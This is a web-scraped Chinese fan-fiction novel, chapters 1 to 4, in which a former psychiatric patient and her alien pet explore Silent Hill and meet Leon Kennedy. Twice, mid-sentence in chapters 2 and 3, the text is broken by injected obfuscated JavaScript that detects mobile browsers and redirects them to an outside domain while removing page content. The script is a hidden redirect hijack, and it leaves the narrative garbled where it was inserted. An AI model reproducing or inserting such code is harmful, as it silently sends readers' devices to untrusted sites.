《[综]带着异形小狗勇闯寂静岭》 1. 第 1 章 我出院了。 很幸运,经过几年的治疗,主治医生诊断我的精神分裂以及自恋倾向得到了有效改善。 准确的来说,基本痊愈。 护士小姐们为我庆祝,她们将我按在镜子前的椅子上,为我做最后一次梳妆打扮。她们把我当做不会动的娃娃,扭曲成各种姿势,层层叠叠的衣裙穿在身上,就像床边放置的洋娃娃一样,臃肿不堪。 一群穿着白色护士服的女人围着我,美丽的胸脯就像一座座小山,裸露的长腿就像白藕,唯独脸……我无法抬起头来,甚至无法看清她们的相貌。 在她们开始为我编头发时,我才看向镜子里的自己。 头发被编成麻花辫盘到头顶,用夹子固定。尖锐的前端刺入头皮带来痛意。平日里我都是披头散发的,很少打扮成这样。始终望着镜子里的那个熟悉却又陌生的面孔,眼睛一眨不眨。 “真漂亮。”她们的手抚摸过我的脸测,指甲划过皮肤带来一丝战栗。 最后她们一起将我送到精神病院的门口。 “一路走好。”为首护士长的声音带有年长的颗粒感,极具穿透力,在一种年轻女孩的嬉笑声中脱颖而出。 我抬头想看清她的样貌,却无能为力。她的脸宛如披上了一层薄纱,雾蒙蒙的,极为不真切。那些护士们叽叽喳喳的,就像欢快的雀儿,涂着口红的嘴唇张张合合,牙齿洁白,舌尖鲜红,“是啊,千万别忘了我们,小丽莎。” 我紧握住行李箱的把手,浅浅鞠了一躬。 “再见。” . 四年前的一场高烧过后,我忘却了在此之前的所有记忆。一觉醒来所面对的便是白到发灰的病院天花板,以及……身边这个不知是人是狗的小东西。 我面无表情地将碗里的带血生肉剪成碎块,血腥味弥漫在四周,所幸我的鼻腔早已适应,不至于像一开始那样动不动就干呕。 “噫——噫——”小东西叫唤着,在我的腿边爬来爬去,声音宛若婴儿啼哭,又类似于某种野兽的低吼。小狗是我为它取的名字,只因为在恐怖的外表下有着一双格格不入的双眼,很清澈,就像小狗。 我曾私下里翻阅过关于动物的百科全书,可没有找到任何与它相似的物种。直到有一天在医院的电视里看到了一部恐怖影片,里面将所有不该存在于这个世界上的奇怪物种称为异形。 异形,确实贴切。 关节处长有可活动的尖刺,人身虫脑,尖牙利齿,一条尾巴宛如节肢动物,根本就不像地球母亲能孕育出来的东西。更令人惊悚的是,它拥有智力,这也使它能够在精神病院里陪伴我多年却不被发现。 “噫——” 我安抚道:“快好了,再等等。” 装着生肉的铁盆刚放到地上,小狗就迫不及待地冲了上去,长舌头从口中伸出,将肉快速地卷进嘴里。它的吃相实在是太难看,血和肉碎溅地到处都是,幸好我早已在下面铺了张一次性垫子,打扫起来不至于那么痛苦。 趁着它吃饭的功夫,我开始写信。写信的对象是我的姐姐。在我四年前大脑一片空白时,只有姐姐这个记忆始终保留在脑海中。 其实我并不记得她的相貌了,因为她似乎很忙,四年间姐妹俩没有见过面,但每月我都会收到她寄来的生活费,在精神病院里治疗时所产生的费用也全由她包揽。除此以外,每隔两个月她都会来信问候我的情况,我再回信告知一切安好。 我从不主动写信,不是因为我不爱她,只是她经常四处辗转,无法知晓人在何处,只能通过信件内容得知,否则寄信地址无从下笔。 在我收拾好东西准备出门的时候,小狗跟了过来。我正在单脚穿鞋,它在我身上蹭来蹭去,害得我差点跌倒。 “我要去给邮局给姐姐寄信。”我问,“你也要一起去吗?” “噫。” “好吧。” “噫!噫!”它很是兴奋,甚至转了几圈,尾巴抽打在鞋柜上发出砰砰的巨响。 “——但是。”我告诫道,“要藏好,不能被别人发现,否则会有麻烦。你知道的。” . 我不太喜欢走在人多的地方,特别是这种人来人往的马路。不知道为什么,每当有人摇摇晃晃地朝我走来的时候,鸡皮疙瘩就会顿时遍布全身,大脑内部响起警报。 眼前路过两位说说笑笑的男性,我攥紧挎包背带,抑制住身体的颤抖。等他们走远后,我才舒了口气。 其实经过治疗以后我已经看起来和正常人一样了,但也只是看起来而已。我学会了伪装,并让尽量自己融入这个陌生的社会。 通往邮局时要路过三个红绿灯。过街而已,我又不是什么弱智儿。可在最后一个红绿灯时我犯了难,因为对面密密麻麻地站满了人,且穿着皆为红色,似乎是一个旅游团。 红灯灭,绿灯亮。人群排山倒海般走来,压迫着我神经。我告诉自己需要走了,可双腿却不受控制,不仅像灌了铅一样无法迈出一步,甚至产生了后退的想法。 那群人走了过来,我站在原地就像一个碍事的桩子,他们一边说着让开一边绕过我,几个个子高脾气坏的则直接无视,将我撞得东倒西歪,几乎跌倒—— “小心!” 有人扶住了我。我站稳后看去,伸出援手者是一位金发男性,留着中分发型,身形壮硕高大。他看到我后惊讶道:“你是……艾达的妹妹。” 我不知道他为什么会知道姐姐的假名,但出于感谢以及礼貌,我说:“谢谢。” 他皱了皱眉,“你不记得我了?” 我很迷茫。 “好吧,你当时确实年纪不大。”他带上了点长辈的口吻,“你一个人吗,打算去哪? 我如实回答:“去邮寄,给我的姐姐寄信。” 他眼神一闪:“说起来,上次见到你姐姐已经不知道是什么时候了。正好我想和她叙叙旧,你知道她现在身处何地吗?” “抱歉,我也不是很清楚……”我摇了摇头。 不等他再多说什么,我快速转身朝马路对面跑去。他想追上来,可灯变红了,被挡在来来往往的车辆后面。 我很快就把这个男人抛在了脑后,但谁曾想当我寄完信件从邮局走出来的那一刻,我又看到了他。这个中分头,站在人来人往的街道上,面对着我的方向。 真讨厌。 我从没有遭遇过这种事情,甚至不知道如何应对,只能尽可能的去逃避。 街上的人很多,不可避免地又会触发我的恐惧,因此在不经意间,我总是朝人群稀少的地方逃。等反应过来的时候,我站在一条空荡的小巷内,四周高墙拔地而起,阳光无法照射进来,处处都透露着阴湿发霉。 小狗突然从高空跳了下来,来到我的身边。我急忙道:“快藏好——” 话还没说完,我听到了咔哒的声音,顿时浑身一颤。回过头,只见金发中分男已经追了上来,手里握着一把黑色的手|枪。我刚才听见的,正是上膛的声音。 他袖子向上卷起,裸露的小臂肌肉紧绷,线条流畅,一副训练有素的模样。 我吓得不知所措,却听到他说: “别动别出声,舔食者只能通过听力辨别方位。” 舔食者?我不知道是什么东西,但从他展露的敌意来看,目标似乎不是我,而是……小狗? 此时小狗也伏低身体,龇起白森森的牙齿,喉咙里发出威胁地吼声,准备下一秒就将男人撕碎。 我惊恐万分,连忙横在二者中间,用自己而背部挡住黑洞洞的枪口:“别!” 它顿了顿,疑惑地看向我。我吞咽了一下唾沫,纵然我脑子有病也能明白在钢铁丛林中,一旦小狗因为危及人命而暴露,带来的后果不堪设想。它会被抓起来,送上实验台,抛开肚子抽取血液,痛不欲生。 “别管他。”我低声说,“快走吧。” 被那个男人看见就看见吧,反正他没有证据,就算报警也没用,只会被当成神经病。毕竟城市里会出现像小狗这样的反科学生物,是正常人想都不敢想的。 小狗一开始没有动,在我第五次恳求的时候, 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听到人的说话声我下意识抬起头,结果一头熟悉的中分发型映入眼帘。 我差点以为那个男人追上来了,心里绝望这辈子都和中分头过不去了,但定神后发现并没有,眼前的是一位上了年纪的中年人,金褐色的头发夹杂着花白,脸上沟壑纵横。 他带给人的感觉很温和,却有一种破碎后再被重组,却始终无法愈合的悲痛忧郁。 男人向我伸出手:“你似乎需要帮助,这里离医院比较远,幸运的附近有一家诊所。” 男人名叫詹姆斯·桑兰德,我在清创的时候和他聊了很多。 这是我第一次与人这么顺利的交流。以往我每当对上他人时内心充满了恐惧,只像疯狂躲避,但詹姆斯却不一样。就好像,我们是同类。 医生为我的膝盖裹上纱布,他身边站着一位护士小姐,时不时为他递上包扎用的材料。我则在护士到来的时候,安静了下来,垂着头一言不发。 期间,我感受到詹姆斯的视线一直落在我的身上。 伤口包扎完毕,我走出了诊室,正打算朝詹姆斯道谢,就听他说:“你是不是最近有很多困扰?” 我一愣,下意识反驳:“没有。” 他的眼睛很深邃,宛如有无尽深渊。我被看得不自在,偏过脑袋,妥协地耸耸肩,“好吧,我的脑子确实有点问题。” 我点了点太阳穴,“我有精神分裂,还有点失忆倾向。” “我有时候会看见一些奇怪的东西,在我的世界里肆无忌惮,我却阻止不了,有时候我甚至会一整天都陷入这种血腥的氛围……” 我一反常态地喋喋不休,就像找到了发泄的缺口。 詹姆斯一直耐心地听着,直到我口干舌燥不得不停下喘口气时,他起身向护士站借了纸和笔,简单书写后将纸片递给我。 我结果一看,上面只写了三个字。 ——寂静岭。 “有时候,失忆和突如其来的痛苦体验并非都是大脑病变,有可能只是你的潜意识在保护自己,又或许是为了掩盖某些无法言语的……”他顿了顿。 “这种方式确实有效,但宛如被掩盖的伤口,虽然外表完好无损但内里的腐烂仍在持续。”他合上笔帽,“最好的办法是彻底治愈,忍着痛意将伤口撕开,暴露在阳光下。” 他说:“你可以去这个地方尝试寻找失去的记忆。” 寂静岭这个地方我略有耳闻,以前是度假村现在是著名的闹鬼之地,不明白去这里能有什么用。把我给吓地脑子当场好了?曲线治病? 但尽管如此,我还是礼貌地道了谢。 膝盖的伤并不妨碍走路,顶多一瘸一拐。詹姆斯将我送出诊所,我向他道别。 “丽莎·王。” 在我准备离去的时候,他喊住了我,带着嘱咐的意味,说出了一句令我难以理解的话: “无论遇到什么,请记住,爱能超越一切。” 2. 第 2 章 我并不想前往寂静岭。我是一个安于现状的人,精神分裂在医院早已得到了救治,那么就不需要再多此一举…… 原本,我是这样的想的。 直到三周后的某一天,我像往常一样每周三来到中式餐厅,正享用着美食,伴随着旁边女士骤然响起的手机铃声,四周场景变化—— 餐厅内的装潢从整洁靓丽变为破败不堪,墙壁上布满了血迹以及锈斑。我所座的方形桌正对面多了一个人,他双手环胸靠坐在椅背,短发修剪自然,衣服整洁。一如既往的沉默,一如既往的没有面孔。 我握紧水杯,闭上眼睛,耐心等待他自己消失。 忽然一声巨响,引得我偏头去看。左侧的桌子倾倒在地,饭食撒的到处都是,一个浑身腐烂、没有手脚的东西正趴在地上,脸埋在饭菜里像狗一样大口进食。那东西头骨破碎,大脑随着动作时不时朝外掉出,又被神经拉扯回去。 未曾预料到的场景,我惊恐地捂住嘴,几乎要吐了。 突然,那东西注意到我的视线,缓缓抬起头颅,咧开嘴一笑。 “啊——!” 四周陷入死一般的寂静,人们的视线全都落在我的身上。我猛地回过神,发现餐厅内已经恢复了原貌,而所谓的人|彘则是个五六岁的小屁孩,脸上脏兮兮,蹲在地上手抓饭定格在往嘴里送的姿势,茫然地望着我。下一秒,他就被自己的母亲揪起来一顿好打。 小屁孩的哭声让原本尴尬的气氛变得活跃,人们不再探究地观察我,而是转移注意力看那个小屁孩的笑话去了。 我吐了口气,缓缓坐下。但我也意识到一个无法忽视的事实,我的病不仅复发了,还有加重的征兆。 在回精神病院继续当疯子和赌一把之间,我选择了后者。 我要去寂静岭,治病。 . “小姐,到了。” 窗外一片雾霭,但仍然能依稀看出荒凉的景色。我展开地图手指点在上面,提醒他,“距离目的地还远着呢。” 司机嘴里叼着烟,一副中年大叔常有的姿态,吊着嘴皮子,“那地方怪得很,我都提醒过你不要去。但既然你坚持,我也只能把你送到这,毕竟再往前就要人命了。” “你收了钱的。” “拜托,我是按路程收费的,没坑人。”他说:“行行好吧,我也要家要养。” 无奈我只好下了车。刚关上车门,出租车就一溜烟地跑了,只给我留下一堆呛人的尾气。小狗此时来到我的身边,用圆脑门蹭我的腰。 我摸了摸它,“走吧,希望在天黑前能到达目的地。” 路程比想象中的要遥远,功夫不负有心人,在路过一片墓园以后,我来到了一个类似于小镇的地方,这里的雾霭比之前路过地方的更严重,几乎看不清道路。 在进入镇子时,最上方的告示牌上写着一行字。 ——罪孽的亡灵将永囚寂静之地。 我想起了在病院里时的一位年迈的病友,他信奉寂静派,一生都在期望进入窄门与上帝沟通获得救赎,可惜这个愿望直到白布盖上他苍老的头颅依旧没能实现。 窄门在寂静之地。这是他咽气前说的最后一句话。 寂静之地…… 寂静岭。 这座小镇里不像有人居住的样子,虽然地上斑马线清晰,路边的树木枝丫都有着修剪的痕迹,但处处透露着荒凉感。家家户户门都锁着,敲门也无人应答。身上的衣物被雾气打湿,阵阵寒意袭来,我搓了搓肩膀,好冷。 温度最高的中午已经过去了,现在临近黄昏,虽然天还大亮,但我必须尽快找到住处。先不说在这里风餐露宿安不安全,毕竟有小狗在,危险不到哪去,只是天气太冷,我会被冻死的。 就在此时,前方略过一个人影,可惜雾气太重看不清全貌。我追了上去:“等一下!” 那道身影很快消失不见,我扑了个空。我站在一片雾霭之中高喊:“有人吗?你好,请问这里有人吗?” 脚边忽然有什么东西一闪而过,我被吓了一跳,连连后退,结果踩到一个软绵绵的东西。 “啊!”我惊叫出声,回头看去,发现是一个鼓鼓囊囊的裹尸袋,表面脏污不堪,还散发着隐隐的恶臭。 好恶心。我踹了一脚,裹尸袋沉重不堪,纹丝不动。很快我放弃了它,继续沿着周边的建筑搜查。幸运的是,有一间木屋的窗户玻璃似乎坏了,而且从高度来看,我完全可以翻进去。 我招呼来小狗,踩着它的被从窗户进入屋内。 “有人吗?”我一边喊着,一边到处寻人的踪影。人没找到一个,倒是在桌子上发现了一张写了字的纸条。 ——小心那些怪物,它们难以被杀死。 什么意思? 咯咯咯…… 房内传出奇怪的声响,我直起身子,看向未被阳光照耀,略带黑暗的房屋深处。伴随着一种类似于麻布和地面的摩擦声,一个站立着的裹尸袋挪了出来。 我被吓的惨叫,随手抄起桌边放着的撬棍狠狠夯了上去。虽然我不知道为什么这里会有撬棍。 裹尸袋被夯地一个踉跄,向后砸到在地,它似乎想再次站起来,但是没手没脚的行不通,只能在原地拼命蠕动,就像一只大肉虫。 我觉得恶心,起了一身鸡皮疙瘩,提着撬棍上前对它又是一阵狂打。肮脏的裹尸袋表面逐渐染上了血污,捶打时的手感从结实变为松散……似乎被我打烂了。 不知过了多久我才停下来,裹尸袋早已没了动静,彻底死了。而小木屋的门从外面被强行破开,小狗站在那里,一脸呆滞。 汗水沾湿了前面的发丝,我吸了吸鼻子,用哭腔诉苦: “狗狗,这里好可怕。” 小狗听到这话连忙走上,后脚踹开裹尸袋,抬头噫噫噫的叫唤着安慰我。 除了撬棍和那张纸条以外,我还在房间里发现了一把钥匙。钥匙是黄铜的,没有标识不知道可以用在哪里。为了以防万一,我把它揣进口袋里。 走出小木屋,我发现外面的场景居然和刚才不一样了,那些碍眼的雾霭从水雾变成了烟雾,呛得我直咳嗽。火舌滔天,远处还时不时传来爆炸声。无数裹尸袋在地上蠕动,身上被火焰点燃,从大肉虫变成了大火虫。 到底发生了什么? 与之前的寒冷不同,因为大火,空气焦灼,一呼一吸间都变得滚烫。 我和小狗好不容易找到一个类似于地下通道的地方,躲了进去。 顺着通道一路走,直到尽头,我踏上台阶,不远处有一座警察局。它被高耸的铁栏杆围绕,四周还有防火灾的自动喷水装置,因此哪怕周围早已被火烧的不成样子,它还是完好的。我还看到有一个男人站在那里摆弄围栏门的大锁。 这时候通道深处响起咯咯咯的声音,那些裹尸袋也跑进来避火了! 看来不出去是不行了,我抱着撬棍朝警察局狂奔。在接近的那一刻,我发现那个男人竟然是前段时间跟踪我的中分头! 他也注意到我了,“天,总算找到你了,你可太能跑了。” 我愣了愣。 他回头继续折腾锁,将一根铁丝插进锁孔里鼓捣。我想起了口袋里的那把钥匙,主动走上前,“我来吧。” 谢天谢地,钥匙就是用在这里的。 锁刚打开,男人先一步把我推进去,然后他才闪了进来,将门重新锁上。 他擦了一把额头上的汗,“该死,竟然是这个鬼地方,明明离浣熊市十万八千里,他妈的……” 也许是发现我还在旁边,觉得说脏话不太好,他住了口。 小狗不在附近。多亏了我平时的教育,小狗在看见男人时就先一步翻过围栏藏了起来,现在估计正在暗处观察。 警察局大厅里灯火通明,但冷清的很,一个人也没有。男人在进来以后没有一刻的停歇,先是站在打字机前噼里啪啦地鼓捣,然后到处捡东西。 只有我坐在沙发上一动不动,看着他跑前跑后,心里奇怪,便尝试着打招呼顺带套话:“你好,请问……你也是来这里寻找什么吗?” 詹姆斯说来到寂静岭的人的目的大多是逃避现实或者寻求自我,不知道这个男人属于哪一种。 没想到的是,他竟然说:“我是跟着你来的。” “我?” “对。”他点头,“你毕竟是艾达的妹妹,我得多留点心,特别是看到你和舔食者一起出远门,实在放心不下。” “舔食者是什么?”我对这个称呼疑惑很久了,“还有你难道认识我姐姐吗? “舔食者就是你身边的那个怪物……” 他一顿,皱眉道:“还以为上次你在开玩笑,你真的不记得我了?我是里昂·肯尼迪,你姐姐的……嗯,老相识。” 我抬头环顾陌生的环境,“我不知道你在说什么,我不认识你。” “还有,它不是怪物,是我的家人。” 说完我就跑开了,不管男人怎么在后面呼唤我。 姐姐的老相识?姐姐可从与我没有提及过他。这个叫里昂的男人很奇怪,我得离他远点。 . 也许是里昂发现了我对他的抵触,便不再靠近我,只是嘱咐我将千万不要离开大厅,因为会有危险。 “放心,我会找到离开的办法的。这里有一个秘密通道,只是比较麻烦而已。”他丢下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988156|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样一句话。 我当然不会听他的,我清楚的记得自己来这里的目的,治病以及找寻记忆。 说实在的,我并不知道记忆这东西该怎么找,它没有实体,不像钥匙一样可以揣兜里。难道像是电影里一样,记忆被保存在某个小瓶子里,恢复时一针戳进太阳穴? 太荒唐了。 我顺着楼梯走上二楼,可进入的房间有限,大多数都是被反锁着的。那几个房间都是类似于办公室的地方,桌面上全是专业资料,尽管我看不懂,还是拿起来研究了一番。 资料上面的文字密密麻麻,我一页一页的翻过去,一目十行,实际进脑子的没多少。在最后一页,我看到了一份报纸,上面写着某某研究所被查封的新闻,原因是非法进行反人类实验。 这个破地方每年被查封的研究所没有八百也有一千,不是什么值得在意的事情。 我将报纸连同资料放回原位,正准备离开的时候,房间另一头被上锁的门后传来奇怪的声响。我凑了过去,耳朵贴着木门。 是脚步声,很慢很缓,而且明显此人走路动作懒散至极,甚至不愿意抬腿,鞋跟在摩擦地面。我开口:“里昂,是你吗?” 脚步停顿住了。 还真是他,我继续道:“这扇门是锁着的,你那边能打开吗?” 没有回应,我觉得奇怪:“里昂……” 砰—— 门被撞地发颤,我被这声响吓地连忙远离,小狗戒备地挡在我的身前。门后的家伙像是疯了一样,一下又一下,木门随着撞击声向外拱起,门轴处也逐渐出现了裂痕。 天呐,他是吃错药了吗,还是说不是他。难道警察局里还有其他人?但瞧上去不太对劲,至少脑子肯定有点问题。作为一个精神病,我深知脑子不正常的家伙有多恐怖。我不敢逗留,快速离开了。 回到大厅,我看到里昂正在往一个大箱子里放东西。我刚靠近一步,他像是背后长了眼睛一样猛地转身,眼神犀利,几乎要将我刺出一个洞。 在发现是我后,他才松了口气,“你人去哪了,我不是告诉你不要乱跑吗?!” “我只是去楼上转了转。”我说。 他继续把头埋进箱子里,“这里没有想象中的危险,但是仍然不能掉以轻心。总而言之,你只要呆在大厅……” “不对。”他突然抬起头,“这里也不行。” 他哐当一声关上大箱子,招呼我,“跟上,我带你去别的地方。” 我并不想听他的,特别是看见他朝接待室后面走去的时候,更为抗拒。我曾探头悄悄观察过,刚开门扑面而来的血腥味让我快速退了出去。那扇门后是危险区,不能去。 “你愣在那干什么?”里昂维持着半开门的姿势。门后一片漆黑,宛如野兽的血盆大口。 他眨了下眼睛,恍然大悟:“你在害怕?” “放心,我不会害你的,里面那些东西都被我清干净了。”他走到我面前,微微俯下身子(他比我高),展现出友好的姿态,“我没有骗你,我和你姐姐确实是老相识,我们相互救过对方很多次,换句话说,可以称得上患难之交。如果你不信,我可以说一些关于你姐姐的事,比如她的相貌,工作……” 我说:“我不记得了。” “什么?” “我没有四年前的记忆。”我抬头看他,“关于姐姐的事,也不了解。” 他彻底陷入了为难,无奈地扶住自己被中分刘海挡住的额头,“上帝啊。” 此时,里昂的身后,那扇宛如深渊一般的门里探出了个尖牙利齿的脑袋,那是属于小狗的脑袋。它冲我点了点头,意思是—— 没有危险。 “明白了。”我抽回视线,改口道:“我相信你。” 他脸上浮现出一副我脑子终于开窍的欣慰,伸手拍了拍我的背,“走吧。” 门后的景象比想象中恐怖,走廊昏暗,角落里躺着一动不动的裹尸袋。 黄昏本该是一个美好的词汇,金色的光芒洒向大地,令人移不开眼。但现在却没有一丁点这种美好的感觉,甚至带有一点头皮发麻的阴森。令人疑惑不已,夜幕降临后,在黎明到来之前到底该怎样度过。 里昂将我带进楼梯底下的一间小暗房里,“这里很安全,门是经过加固的,强度可堪比人防门。” 他站在屋内给我展示如何给门上锁,先一个个插闩,然后扭动门把手下面的旋转锁,上了最后一道防线。他再次嘱咐:“你乖乖待在这里,除了我亲自来带你离开,否则不要踏出一步。” 我嘴上答应的好好的,就像一个听话的好孩子,可刚等他的脚步声走远就打开门溜了出去。 3. 第 3 章 警察局的空间比我想象中要大的多,也可能是我对此地陌生,大脑正在努力记忆周边环境。和去途远归途近差不多道理。 除了大厅以外的地方全都一片漆黑,我有尝试寻找开关,但找到了似乎没有什么用,因为这一层断了电。我在一片黑暗中摸索,直到小狗为我叼来手电筒才恢复光明。 不知道为什么,明明地面上很干净,瓷砖面亮的发光,却始终有挥散不去的血腥味,还带着难以言喻的死老鼠臭味,令人作呕。我揉了揉鼻子,要不是鼻腔内没有痛感而且呼吸畅通无阻,我几乎要以为自己流鼻血了。我问小狗:“你有闻到吗,血的味道?” 小狗走在我的前面,时刻警惕四周。听到我的话后它扭过脑袋,点了点。 “真是奇怪。”我喃喃自语。 楼梯的边上有一座窗户,里侧被用木板钉上,我从缝隙间朝外看—— 啪!裹尸袋措不及防地撞上窗户,玻璃碎裂开差点飞溅到我的脸上。我被吓得心脏都发颤,连忙加快步伐跑上楼。 二楼墙壁损坏严重,期间小狗叼了一个胶卷给我,除此之外没什么特别的,我随便转了转就上了三楼。 我听见轰的一声巨响,紧接着是奇怪的嘶吼此起彼伏,像什么东西在叫嚣。小狗一反常态地用头顶我的腿,我站不稳不得不后退,可这样就开始下楼梯了。我奇怪:“怎么了?” 小狗不发出声音,只是一味地推我,力气还越来越大。我连忙举起双手,“好了好了,知道了。我走,别再这样,我快从楼梯滚下去了。” 我刚回到二楼,小狗又开始顶我,这次是将我往楼上顶,它让我上楼。可我刚刚明明才下来!我有些生气,“你想怎样?!” 它还是不说话,只是咬着我的裤腿往上扯。我力气没它大,更何况它扯着的是我小腿处的裤子,要是我不从极有可能变成一只脚踩在地上另一只脚被提着向前拖行。以及我的裤子,我见识过它牙齿的威力,锋利到是裤子布料不敢恭维的,我可不想被撕得一条腿孤零零露在外面,只能顺从的跟着它走。 再次来到三楼,它才放弃对我的制约,但始终站在身后,在时刻提防我退后。我只能往前走,看到一扇门就推开走了进去。迎面而来的是一股刺鼻的灰尘味,还有带着点呛人的烟弥漫在空气中。 “咳咳咳……”我被呛得治咳嗽,手在鼻子前用力挥着。 “什么人?!” 我手上挥来挥去的动作一顿。烟雾散去,双手持枪里昂出现在眼前。我看到他从微微发懵到不可置信再到愤怒不已,两秒钟内表情变化万千。他怒道:“我不是让你乖乖呆在房间里的吗?!你这孩子为什么不听话?!” 他生气了。从前不久那极度短暂的相处时间来看,他其实是一个脾气很好的人,而且情绪稳定,能让他生气应该是一件不太容易的事。但我轻而易举的做到了。我试图用借口来解释自己的行为,可他根本不听,直接把我撵回了暗房,甚至下了最后通牒—— 如果再瞎跑就把我扔在这里,随我自生自灭。 等他怒气冲冲的走了以后,我打开门把小狗放了进来,然后抱着它的脖子发呆。其实不能算作发呆,发呆的意思是脑子放空,但我看上去眼神呆滞实际脑子还是在转的。凭借刚才在外面的转悠的那一小会,我差不多把这一片的结构弄明白了,脑海里形成了一套简陋地图。 大厅东侧似乎还有一片区域,那里我没去过,不知道那里会不会我想要的东西。 时间一分一秒的过去了。我感觉感觉过了很久,但这里没有任何与时钟相关的东西,我无法确定事件。这个暗房密闭而且空间狭隘,呆久了不免会觉得压抑,特别是对我这种精神有点不正常的人。我变得烦躁,不得不开始找事做转移注意力。 我在这个小房间里转悠起来,先是一扇扇的开柜子门,然后开始敲打字机。我本来想翻那个大箱子的,转念一想里昂有放东西进去,里面估计有他的隐私,就放弃了。摸索完毕后,我又转向里侧的一个小空间,最尽头池子里的水里飘着胶卷。我后知后觉,暗房暗房,原来这里是用来冲洗相片的地方。 想起了口袋里的胶卷,我便关了灯尝试冲洗它。我没有洗过胶卷,一旁墙壁张贴的告示上有些简陋步骤。明白原理和步骤是一回事,自己动手又是一回事。我全程笨手笨脚,好不容易洗出来一张,还模糊不堪,看了好久才辨认出来是个什么东西。 相片里是个背对着镜头的人,带着三角形的头盔,肩膀宽阔,背肌线条流畅分明,一路向下隐入腰身之中…… 身材不错。倒不是我变态,而是事实。相片里人带着的头盔巨大,普通人恐怕显得头大身子小,极为好笑,但相片里的家伙没有这种困扰,毫无违和感,就像是他自己的脑袋一样。 门突然被敲响了,外面的是里昂。我把相片随手放进口袋里,然后去开门。里昂的衬衫外面换上了防弹衣,袖子布料被类似于野兽的东西撕开,但腰间的背包却鼓鼓囊囊的。 他说:“我们可以离开了。” . 路上我一直盯着他的腰包看。似乎是因为东西太多腰包拉链拉不上,缺口处冒出一根草……草?我眯着眼睛看了好久,真的是草。叶子随着他的走动上下晃悠,而且越来越外,快要掉出来了。我提醒:“你的草要掉了。” 他低头一看,连忙把草给塞了回去,“这是一种药草,敷在伤口可以止痛。我们的局长对各种草药情有独钟,不仅用来当盆栽还种地满警察局都是。” 我精准的从他的话里扑捉到“我们局长”两个字,“你是警察?在这里工作?”难怪那么信心满满一定能找到出路,原来这里是他的主场。 “对,以前是。”他说:“可惜只当了一天。” “为什么?”我问:“你辞职了?” “不是,是这里沦陷了,或者说整个浣熊市都成了人间炼狱。” 我疑惑:“浣熊市?有这个地方吗?” “以前是有的,可惜几年前因为……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988157|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他突然不说话了,就在我疑惑的时候,他偏过头笑盈盈道:“你不会连这个都不记得了吧,我们两个可是在这里第一次见面的。” 这里?警察局? 里昂继续说:“你是因为迷路被好心路人送过来的……” 我观察了好一会发现他没有撒谎,他以前真的认识我,之前是我误解他了。这是我遇见的第一个知晓自己过去的人,心里不免有些激动,“能不能仔细地讲一讲?” “什么?”他问。 我说:“我们两个第一次见面时候时候的事情,我很好奇。” 他没有搭腔,我加快了点步伐,从屁股后面跟着变为与他并肩而行。我抬头看他的侧脸,没什么表情,但嘴唇抿地很紧。似乎注意到了我的视线,他对我温和的笑了笑,“不是什么值得回忆的过去,忘了也好,至少晚上不会做噩梦了。” “很差劲的过去?” “嗯,很糟糕,对我们两个都是。” 说话间我们已经回到了大厅。坐立于大厅中央举着旗帜手持盾牌的女神雕像底盘边缘多了三个原型类似于奖章的镶嵌物,底座凹陷进去,露出了一扇白色铁门,边缘布满锈斑显然并不长使用。门里面漆黑一片,什么也看不见。 门轴有些生锈,里昂费了好大劲才推开,他侧开身子,“你先吧,我垫后。放心,里面绝对安全。” 我现在对他的信任值很高,面对他让我先行这件事没有任何疑虑。与此同时我想了想,觉得既然彼此信任,那么我应该坦诚相待比较好。于是我决定告知小狗的存在:“我还得带上了朋友。” 我不怕他说出去,毕竟现场又没有录音。 他表情瞬间严肃,“这里还有别的人类?” “不是人类,你见过的。”我朝某个方向招了招手,“你可以喊它狗狗。” 他刚开始还满脸疑惑,直到小狗出现的那一刻脸色大变,掏枪的动作快出了残影,但当看到我迫不及待地奔跑过去与小狗抱成一团,并且它还亲昵地蹭我的脸颊时,表情变为了难以形容——尊重但不理解。 “抱歉,我真的无法接受和一个……待在一起。”他两手持枪举在胸前,连连摇头,后退了几步。 “它不会伤人。”我坚定道:“你可以信任它。” 里昂与我们对峙许久后在一声逐渐逼近的熟悉嘶吼声中妥协了。他无奈地叹了口气,手朝门的方向一伸,示意我快点走,“好吧,那接下来的路途中请你看好它,我可不想被咬掉脑袋。” “放心吧,只要不主动攻击没有问题,它脾气比真的狗还要好。”我拍了拍小狗的脑袋,它率先爬进了门里,我也紧随其后。 白色的铁门后面还有一扇红色的门,我觉得有些奇怪,但小狗不在,看来它已经进去了……等等,它会开门吗?里昂见我不动,催促我快点。 “哦,好。”我应声,没有丝毫怀疑,掌心贴在红门的表面,上面带着点冰凉的湿意,就像下雨后的木头。我施加力气,推门而入。 4. 第 4 章 走廊的地面和墙壁全是肮脏的血污以及锈斑,我对这里有印象,应该是警察局里西侧的走廊,里昂将我领往暗房的时候曾经过这里。但我不是从大厅雕像下方的通道离开警察局了吗,为什么会出现在这里? 我转身看向背后的红门,推开后发现是一个类似于指挥室的地方,而不是记忆中的大厅。 “小狗!里昂!里昂·肯尼迪!你们在哪?”我高喊着两人的名字,声音在这个寂静的场所反弹出回音。我喊了很久都没有回应,好像这里只有我一个人。这个认识令我感到恐惧。我退出指挥室,按照记忆中的路线返回大厅。 